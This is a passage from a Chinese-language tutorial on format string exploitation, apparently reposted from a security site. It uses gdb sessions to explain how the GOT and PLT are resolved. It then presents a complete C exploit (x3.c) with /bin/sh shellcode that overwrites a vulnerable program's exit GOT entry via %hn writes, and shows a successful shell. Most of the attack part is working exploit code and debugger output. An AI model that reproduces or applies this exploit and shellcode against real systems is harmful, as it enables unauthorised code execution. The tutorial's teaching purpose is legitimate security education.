5.覆盖GOT表 在编译elf文件的时候,如果要用到其他动态库的函数,比如printf, exit等, 编译的时候并不 会直接把这两个函数的代码编译进去,而是留一个调用地址在GOT表里面,当elf文件被加 载的时候,代码段才会真正加载进来,然后替换掉GOT表里面的地址(具体实现可以参考 alert7的一篇文章。) [bkbll@mobile format]$ cat 13.c main(){printf("hello,world");exit(0);} [bkbll@mobile format]$ gdb -q 13 (gdb) disass printf Dump of assembler code for function printf: 0x804828c <printf>: jmp *0x80494d8 0x8048292 <printf+6>: push $0x8 0x8048297 <printf+11>: jmp 0x804826c <_init+24> End of assembler dump. (gdb) x/wx 0x80494d8 0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048292 (gdb) x/i 0x804826c 0x804826c <_init+24>: pushl 0x80494cc (gdb) 0x8048272 <_init+30>: jmp *0x80494d0 (gdb) x/w 0x80494d0 0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000 在未开始加载动态共享库的时候,PLT表第1项指向的函数地址为空。 (gdb) b main Breakpoint 1 at 0x8048362 (gdb) r Starting program: /home/bkbll/format/13 Breakpoint 1, 0x08048362 in main () (gdb) x/w 0x80494d0 0x80494d0 <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a180 (gdb) disass 0x4000a180 Dump of assembler code for function _dl_runtime_resolve: 0x4000a180 <_dl_runtime_resolve>: push %eax 0x4000a181 <_dl_runtime_resolve+1>: push %ecx 0x4000a182 <_dl_runtime_resolve+2>: push %edx 0x4000a183 <_dl_runtime_resolve+3>: mov 0x10(%esp,1),%edx 0x4000a187 <_dl_runtime_resolve+7>: mov 0xc(%esp,1),%eax 0x4000a18b <_dl_runtime_resolve+11>: call 0x40009f10 <fixup> /* 这里开始把填充函数
地址 */ 0x4000a190 <_dl_runtime_resolve+16>: pop %edx 0x4000a191 <_dl_runtime_resolve+17>: pop %ecx 0x4000a192 <_dl_runtime_resolve+18>: xchg %eax,(%esp,1) 0x4000a195 <_dl_runtime_resolve+21>: ret $0x8 0x4000a198 <_dl_runtime_resolve+24>: nop 0x4000a199 <_dl_runtime_resolve+25>: lea 0x0(%esi,1),%esi End of assembler dump. (gdb) b *0x4000a192 Breakpoint 2 at 0x4000a192 (gdb) c Continuing. Breakpoint 2, 0x4000a192 in _dl_runtime_resolve () from /lib/ld-linux.so.2 (gdb) x/i 0x804828c 0x804828c <printf>: jmp *0x80494d8 (gdb) x/wx 0x80494d8 0x80494d8 <_GLOBAL_OFFSET_TABLE_+16>: 0x42052390 /* 这里已经改成了真的printf 函数地址*/ (gdb) disass 0x42052390 0x42052390+0x70 Dump of assembler code from 0x42052390 to 0x42052400: 0x42052390 <printf>: push %ebp 0x42052391 <printf+1>: mov %esp,%ebp 0x42052393 <printf+3>: sub $0x18,%esp 0x42052396 <printf+6>: mov %ebx,0xfffffffc(%ebp) 0x42052399 <printf+9>: lea 0xc(%ebp),%ecx 0x4205239c <printf+12>: call 0x4201575d <__i686.get_pc_thunk.bx> 0x420523a1 <printf+17>: add $0xd7f2f,%ebx 0x420523a7 <printf+23>: mov 0x17c(%ebx),%eax 0x420523ad <printf+29>: mov (%eax),%eax 0x420523af <printf+31>: mov %ecx,0x8(%esp,1) 0x420523b3 <printf+35>: mov %eax,(%esp,1) 0x420523b6 <printf+38>: mov 0x8(%ebp),%eax 0x420523b9 <printf+41>: mov %eax,0x4(%esp,1) 0x420523bd <printf+45>: call 0x42047f00 <vfprintf> 0x420523c2 <printf+50>: mov 0xfffffffc(%ebp),%ebx 0x420523c5 <printf+53>: mov %ebp,%esp 0x420523c7 <printf+55>: pop %ebp 0x420523c8 <printf+56>: ret 0x420523c9 <printf+57>: nop 0x420523ca <printf+58>: nop 0x420523cb <printf+59>: nop 0x420523cc <printf+60>: nop ---Type <return> to continue, or q <return> to quit---q Quit 这个是printf函数的加载过程,下面的exit函数过程一样。 因为exit函数在printf后面加载, 所以我们可以通过format string漏洞覆盖掉exit函数的入口 地址,不让他去执行真正的exit函数。 我们看一下exit函数的位置: (gdb) disass main Dump of assembler code for function main: 0x804835c <main>: push %ebp 0x804835d <main+1>: mov %esp,%ebp 0x804835f <main+3>: sub $0x8,%esp 0x8048362 <main+6>: and $0xfffffff0,%esp 0x8048365 <main+9>: mov $0x0,%eax 0x804836a <main+14>: sub %eax,%esp 0x804836c <main+16>: sub $0xc,%esp 0x804836f <main+19>: push $0x80483d0 0x8048374 <main+24>: call 0x804828c <printf> 0x8048379 <main+29>: add $0x10,%esp 0x804837c <main+32>: sub $0xc,%esp 0x804837f <main+35>: push $0x0 0x8048381 <main+37>: call 0x804829c <exit> 0x8048386 <main+42>: nop 0x8048387 <main+43>: nop (gdb) x/i 0x804829c 0x804829c <exit>: jmp *0x80494dc (gdb) x/wx 0x80494dc 0x80494dc <_GLOBAL_OFFSET_TABLE_+20>: 0x080482a2 (gdb) x/i 0x080482a2 0x80482a2 <exit+6>: push $0x10
(gdb) 0x80482a7 <exit+11>: jmp 0x804826c <_init+24> /*这里就需要加载exit函数地址了*/ 只要我们覆盖掉0x80494dc地址,让里面的内容替换成我们的shellcode地址就可以执行我们 的命令了. 对应我们的vuln程序: [bkbll@mobile fmtxp_lib]$ objdump -R vuln vuln: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049648 R_386_GLOB_DAT __gmon_start__ 0804964c R_386_COPY stderr 08049630 R_386_JUMP_SLOT fprintf 08049634 R_386_JUMP_SLOT fgets 08049638 R_386_JUMP_SLOT __libc_start_main 0804963c R_386_JUMP_SLOT printf 08049640 R_386_JUMP_SLOT exit 08049644 R_386_JUMP_SLOT fopen 所以want_write_addr=08049640,其他都一样。 [bkbll@mobile fmtxp_lib]$ cat x3.c /* write to exit function GOT address * objdump -R vuln |grep exit * coded by bkbll(bkbll@cnhokenr.net) */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #define want_write_addr 0x8049640 #define pad 12 #define straddr 0xbffff690 char shellcode[]= "/xeb/x1d/x5e/x29/xc0/x88/x46/x07/x89/x46/x0c/x89" "/x76/x08/xb0/x0b/x87/xf3/x8d/x4b/x08/x8d/x53/x0c" "/xcd/x80/x29/xc0/x40/xcd/x80/xe8/xde/xff/xff/xff" "/bin/sh"; main() { int high_ret,low_ret; char buffer[1024]; int j=0; int shell_addr_pad=0x50; int rea_high_ret,rea_low_ret; int print_acc; memset(buffer,0x90,1024); buffer[1023]=0; high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff; low_ret=(straddr+shell_addr_pad) & 0xffff; if(high_ret == low_ret) exit(0); rea_high_ret=high_ret; rea_low_ret=low_ret; if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;} print_acc=rea_high_ret - rea_low_ret; fprintf(stderr,"use shell addr:%p/n",straddr+shell_addr_pad); //j=sprintf(buffer,"%s",want_write_addr); buffer[0]=want_write_addr & 0xff; buffer[1]=(want_write_addr >> 8 ) & 0xff; buffer[2]=(want_write_addr >> 16 ) & 0xff; buffer[3]=(want_write_addr >> 24 ) & 0xff; //j+=sprintf(buffer+j,"%s",want_write_addr+2); buffer[4]=((want_write_addr+2)) & 0xff; buffer[5]=((want_write_addr+2)>>8) & 0xff; buffer[6]=((want_write_addr+2)>>16) & 0xff; buffer[7]=((want_write_addr+2)>>24) & 0xff; j=8; j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret
j,pad+1,print_acc,pad); buffer[j]=0x90; sprintf(buffer+(1022-strlen(shellcode)-1),"%s/x00",shellcode); if(j>=1024) {printf("please realloc buffer to %d/n",j+1);exit(0);} printf("%s/n",buffer); } bkbll@mobile fmtxp_lib]$ gcc -o x3 x3.c; ./x3 >3; ./vuln 3 蛝)繞蛝柁 /bin/sh sh-2.05b$ id uid=500(bkbll) gid=500(bkbll) groups=500(bkbll) sh-2.05b$ 成功了。 我们跟踪一下程序: [bkbll@mobile fmtxp_lib]$ gdb -q vuln (gdb) disass foo Dump of assembler code for function foo: 0x80484c4 <foo>: push %ebp 0x80484c5 <foo+1>: mov %esp,%ebp 0x80484c7 <foo+3>: sub $0x8,%esp 0x80484ca <foo+6>: sub $0xc,%esp 0x80484cd <foo+9>: pushl 0x8(%ebp) 0x80484d0 <foo+12>: call 0x8048350 <printf> 0x80484d5 <foo+17>: add $0x10,%esp 0x80484d8 <foo+20>: leave 0x80484d9 <foo+21>: ret End of assembler dump. (gdb) b *0x80484cd Breakpoint 1 at 0x80484cd: file vuln.c, line 31. (gdb) b *0x80484d5 Breakpoint 2 at 0x80484d5: file vuln.c, line 31. (gdb) r 3 Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 3 Breakpoint 1, 0x080484cd in foo ( line=0xbffff690 "@/226/004/bB/226/004/b%49143p%13$hn%14049p%12$hn", ’/220’ <repeats 166 times>...) at vuln.c:31 31 printf (line); (gdb) disass main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %esp,%ebp 0x8048433 <main+3>: sub $0x418,%esp 0x8048439 <main+9>: and $0xfffffff0,%esp 0x804843c <main+12>: mov $0x0,%eax 0x8048441 <main+17>: sub %eax,%esp 0x8048443 <main+19>: sub $0x8,%esp 0x8048446 <main+22>: push $0x8048524 0x804844b <main+27>: mov 0xc(%ebp),%eax 0x804844e <main+30>: add $0x4,%eax 0x8048451 <main+33>: pushl (%eax) 0x8048453 <main+35>: call 0x8048370 <fopen> 0x8048458 <main+40>: add $0x10,%esp 0x804845b <main+43>: mov %eax,0xfffffff4(%ebp) 0x804845e <main+46>: cmpl $0x0,0xfffffff4(%ebp) 0x8048462 <main+50>: jne 0x8048489 <main+89> 0x8048464 <main+52>: sub $0x4,%esp 0x8048467 <main+55>: mov 0xc(%ebp),%eax 0x804846a <main+58>: pushl (%eax) 0x804846c <main+60>: push $0x8048527 0x8048471 <main+65>: pushl 0x804964c 0x8048477 <main+71>: call 0x8048320 <fprintf> ---Type <return> to continue, or q <return> to quit--- 0x804847c <main+76>: add $0x10,%esp 0x804847f <main+79>: sub $0xc,%esp 0x8048482 <main+82>: push $0x1 0x8048484 <main+84>: call 0x8048360 <exit> 0x8048489 <main+89>: sub $0x4,%esp 0x804848c <main+92>: pushl 0xfffffff4(%ebp) 0x804848f <main+95>: push $0x3ff
0x8048494 <main+100>: lea 0xfffffbe8(%ebp),%eax 0x804849a <main+106>: push %eax 0x804849b <main+107>: call 0x8048330 <fgets> 0x80484a0 <main+112>: add $0x10,%esp 0x80484a3 <main+115>: movb $0x0,0xffffffe7(%ebp) 0x80484a7 <main+119>: sub $0xc,%esp 0x80484aa <main+122>: lea 0xfffffbe8(%ebp),%eax 0x80484b0 <main+128>: push %eax 0x80484b1 <main+129>: call 0x80484c4 <foo> 0x80484b6 <main+134>: add $0x10,%esp 0x80484b9 <main+137>: sub $0xc,%esp 0x80484bc <main+140>: push $0x0 0x80484be <main+142>: call 0x8048360 <exit> End of assembler dump. (gdb) x/i 0x8048360 0x8048360 <exit>: jmp *0x8049640 (gdb) x/wx 0x8049640 0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048366 (gdb)c 蛝)繞蛝柁 /bin/sh Breakpoint 2, 0x080484d5 in foo ( line=0xbffff690 "@/226/004/bB/226/004/b%49143p%13$hn%14049p%12$hn", ’/220’ <repeats 166 times>...) at vuln.c:31 31 printf (line); (gdb) x/wx 0x8049640 0x8049640 <_GLOBAL_OFFSET_TABLE_+28>: 0xbffff6e0 /* 已经修改成了我们的 shellcode地址了 */ (gdb) x/i 0xbffff6e0 0xbffff6e0: nop (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000b30 in _start () from /lib/ld-linux.so.2 (gdb) 6.后记 我这里讲叙的都是一些最基本的format string利用方法,在phrack杂志上还有其他更深入很 复杂的利用方法,比如利用覆盖return into libc的方法来饶过non-exec stack的限制等。有兴 趣可以看看alert7, warning3等牛人的文章,或者直接看phrack杂志的介绍。 本人水平有限,对于GOT的理解只能是知其原,不知其所以原,如果理解有错误,还望不 吝指教。 【转自世纪安全网 http://www.21safe.com】
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